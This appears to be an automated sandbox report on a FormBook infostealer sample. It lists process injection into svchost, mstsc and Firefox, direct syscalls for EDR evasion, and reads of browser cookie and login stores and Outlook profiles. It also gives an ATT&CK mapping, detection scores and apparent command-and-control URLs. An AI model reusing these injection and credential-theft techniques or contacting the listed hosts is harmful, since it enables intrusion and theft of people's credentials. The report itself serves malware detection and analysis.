Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033D483A mov eax, dword ptr fs:[00000030h]	1_2_033D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033D483A mov eax, dword ptr fs:[00000030h]	1_2_033D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033BC810 mov eax, dword ptr fs:[00000030h]	1_2_033BC810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033BE872 mov eax, dword ptr fs:[00000030h]	1_2_033BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033BE872 mov eax, dword ptr fs:[00000030h]	1_2_033BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033C6870 mov eax, dword ptr fs:[00000030h]	1_2_033C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033C6870 mov eax, dword ptr fs:[00000030h]	1_2_033C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03360854 mov eax, dword ptr fs:[00000030h]	1_2_03360854
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03334859 mov eax, dword ptr fs:[00000030h]	1_2_03334859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03334859 mov eax, dword ptr fs:[00000030h]	1_2_03334859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03342840 mov ecx, dword ptr fs:[00000030h]	1_2_03342840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034008C0 mov eax, dword ptr fs:[00000030h]	1_2_034008C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033BC89D mov eax, dword ptr fs:[00000030h]	1_2_033BC89D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03330887 mov eax, dword ptr fs:[00000030h]	1_2_03330887
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336C8F9 mov eax, dword ptr fs:[00000030h]	1_2_0336C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336C8F9 mov eax, dword ptr fs:[00000030h]	1_2_0336C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033FA8E4 mov eax, dword ptr fs:[00000030h]	1_2_033FA8E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335E8C0 mov eax, dword ptr fs:[00000030h]	1_2_0335E8C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335EF28 mov eax, dword ptr fs:[00000030h]	1_2_0335EF28

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_0073A937 GetProcessHeap,

0_2_0073A937

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_00738E3C SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_00738E3C
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_00738E19 SetUnhandledExceptionFilter,		0_2_00738E19

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtWriteVirtualMemory: Direct from: 0x76F0490C	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtAllocateVirtualMemory: Direct from: 0x76F03C9C	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtClose: Direct from: 0x76F02B6C
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtReadVirtualMemory: Direct from: 0x76F02E8C	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtCreateKey: Direct from: 0x76F02C6C	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtSetInformationThread: Direct from: 0x76F02B4C	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtQueryAttributesFile: Direct from: 0x76F02E6C	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtAllocateVirtualMemory: Direct from: 0x76F048EC	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtQuerySystemInformation: Direct from: 0x76F048CC	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtQueryVolumeInformationFile: Direct from: 0x76F02F2C	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtOpenSection: Direct from: 0x76F02E0C	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtSetInformationThread: Direct from: 0x76EF63F9	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtDeviceIoControlFile: Direct from: 0x76F02AEC	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BEC	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtCreateFile: Direct from: 0x76F02FEC	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtOpenFile: Direct from: 0x76F02DCC	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtQueryInformationToken: Direct from: 0x76F02CAC	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtTerminateThread: Direct from: 0x76F02FCC	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtProtectVirtualMemory: Direct from: 0x76EF7B2E	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtOpenKeyEx: Direct from: 0x76F02B9C	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtProtectVirtualMemory: Direct from: 0x76F02F9C	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtSetInformationProcess: Direct from: 0x76F02C5C	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtNotifyChangeKey: Direct from: 0x76F03C2C	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtCreateMutant: Direct from: 0x76F035CC	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtWriteVirtualMemory: Direct from: 0x76F02E3C	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtMapViewOfSection: Direct from: 0x76F02D1C	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtResumeThread: Direct from: 0x76F036AC	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BFC	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtReadFile: Direct from: 0x76F02ADC	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtQuerySystemInformation: Direct from: 0x76F02DFC	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtDelayExecution: Direct from: 0x76F02DDC	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtQueryInformationProcess: Direct from: 0x76F02C26	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtResumeThread: Direct from: 0x76F02FBC	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	NtCreateUserProcess: Direct from: 0x76F0371C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\mstsc.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: NULL target: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: NULL target: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\mstsc.exe

Thread register set: target process: 7156

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\mstsc.exe

Thread APC queued: target process: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 2872008

Jump to behavior

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_0074BE95 LogonUserW,

0_2_0074BE95

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_0071374E GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,

0_2_0071374E

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_00754B52 SendInput,keybd_event,

0_2_00754B52

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_00757DD5 mouse_event,

0_2_00757DD5

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\DOC092024-0431202229487.exe"	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	Process created: C:\Windows\SysWOW64\mstsc.exe "C:\Windows\SysWOW64\mstsc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_0074B398 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,RtlAllocateHeap,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_0074B398

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_0074BE31 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_0074BE31

Source: DOC092024-0431202229487.exe, NZuQxWwOkTbZ.exe, 00000002.00000002.4144250712.0000000000F30000.00000002.00000001.00040000.00000000.sdmp, NZuQxWwOkTbZ.exe, 00000002.00000000.1708479515.0000000000F30000.00000002.00000001.00040000.00000000.sdmp, NZuQxWwOkTbZ.exe, 00000005.00000000.1854910937.0000000000EF0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: NZuQxWwOkTbZ.exe, 00000002.00000002.4144250712.0000000000F30000.00000002.00000001.00040000.00000000.sdmp, NZuQxWwOkTbZ.exe, 00000002.00000000.1708479515.0000000000F30000.00000002.00000001.00040000.00000000.sdmp, NZuQxWwOkTbZ.exe, 00000005.00000000.1854910937.0000000000EF0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: DOC092024-0431202229487.exe, 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndTHISREMOVEblankinfoquestionstopwarning
Source: NZuQxWwOkTbZ.exe, 00000002.00000002.4144250712.0000000000F30000.00000002.00000001.00040000.00000000.sdmp, NZuQxWwOkTbZ.exe, 00000002.00000000.1708479515.0000000000F30000.00000002.00000001.00040000.00000000.sdmp, NZuQxWwOkTbZ.exe, 00000005.00000000.1854910937.0000000000EF0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: NZuQxWwOkTbZ.exe, 00000002.00000002.4144250712.0000000000F30000.00000002.00000001.00040000.00000000.sdmp, NZuQxWwOkTbZ.exe, 00000002.00000000.1708479515.0000000000F30000.00000002.00000001.00040000.00000000.sdmp, NZuQxWwOkTbZ.exe, 00000005.00000000.1854910937.0000000000EF0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_00737254 cpuid

0_2_00737254

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_007340DA GetSystemTimeAsFileTime,__aulldiv,

0_2_007340DA

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_0078C146 GetUserNameW,

0_2_0078C146

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_00742C3C __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_00742C3C

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_0072E47B GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_0072E47B

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1782440738.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4144779638.0000000004330000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1783144995.0000000003650000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4144729578.00000000042E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4147103044.0000000004CD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4143200808.0000000002640000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1783204016.0000000003A00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4144609194.0000000002590000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\mstsc.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Jump to behavior

Source: DOC092024-0431202229487.exe, 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 10, 2USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubytea
Source: DOC092024-0431202229487.exe	Binary or memory string: WIN_81
Source: DOC092024-0431202229487.exe	Binary or memory string: WIN_XP
Source: DOC092024-0431202229487.exe	Binary or memory string: WIN_XPe
Source: DOC092024-0431202229487.exe	Binary or memory string: WIN_VISTA
Source: DOC092024-0431202229487.exe	Binary or memory string: WIN_7
Source: DOC092024-0431202229487.exe	Binary or memory string: WIN_8

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1782440738.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4144779638.0000000004330000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1783144995.0000000003650000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4144729578.00000000042E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4147103044.0000000004CD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4143200808.0000000002640000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1783204016.0000000003A00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4144609194.0000000002590000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_007691DC socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		0_2_007691DC
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_007696E2 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_007696E2

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	2 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	31 Obfuscated Files or Information	NTDS	116 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 Software Packing	LSA Secrets	151 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	1 DLL Side-Loading	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Valid Accounts	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	2 Virtualization/Sandbox Evasion	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Access Token Manipulation	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	412 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
DOC092024-0431202229487.exe	24%	ReversingLabs	Win32.Trojan.Formbooks
DOC092024-0431202229487.exe	29%	Virustotal		Browse
DOC092024-0431202229487.exe	100%	Avira	HEUR/AGEN.1319153
DOC092024-0431202229487.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Link
webredir.vip.gandi.net	0%	Virustotal	Browse
linkwave.cloud	0%	Virustotal	Browse
40wxd.top	0%	Virustotal	Browse
doggieradio.net	0%	Virustotal	Browse
030002304.xyz	0%	Virustotal	Browse
206.23.85.13.in-addr.arpa	1%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://www.40wxd.top/v4cy/?pP_8=Y61bwknhs9hp9ZZcYkoE/rAHAVoATd7g+jLHgGwEyJh/LKrsM6hsQ8y2QWfg6r+Pzdmi8z7VAqFTz6bCx0F+lD/ii+PJJ/2nHI8msyIEMT4A2MQn/4udzH0=&V0Qh=4pBta8	0%	Avira URL Cloud	safe
https://whois.gandi.net/en/results?search=ultraleap.net	0%	Avira URL Cloud	safe
http://www.b5x7vk.agency/zznj/?V0Qh=4pBta8&pP_8=XN/afWzprYUm2zEh/Me8v7IO6BZfJ8ldqsTKqfvYzDGyGH3Qqe2ibLEK4zu3d4hkDWgHsBH7o/PgLSUsZsuwL2SV1lDf+BUf6ZfDIcx/0TWTXhhDzyKZrRs=	0%	Avira URL Cloud	safe
http://www.linkwave.cloud/al6z/	0%	Avira URL Cloud	safe
http://www.linkwave.cloud/al6z/?pP_8=VRCNh0NW0GgzXjJ9PdlWfXWwdPKpBv6LK6gi/31OI/HLVz3edLOFPgfBWIIFI1yv4KnHdZ/ByCAdRrOw29Cps8gpdM+xYTm/p50f5dz2MVQM3pqegGrg4cw=&V0Qh=4pBta8	0%	Avira URL Cloud	safe
http://www.doggieradio.net/hzuv/	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
http://www.030002304.xyz/tmpg/?pP_8=CVP6mu+p7AIAUeNlIzILzbbwoLVaLtEPp22R6YZws2HFwQ6gURLmFkDuTnsSzWDqU9qDd9fOW/TdFJInumJ7doiOdR5iBNH/a8rQv0stnRBrBPHE6g/KoYg=&V0Qh=4pBta8	0%	Avira URL Cloud	safe
http://www.b5x7vk.agency/zznj/	0%	Avira URL Cloud	safe
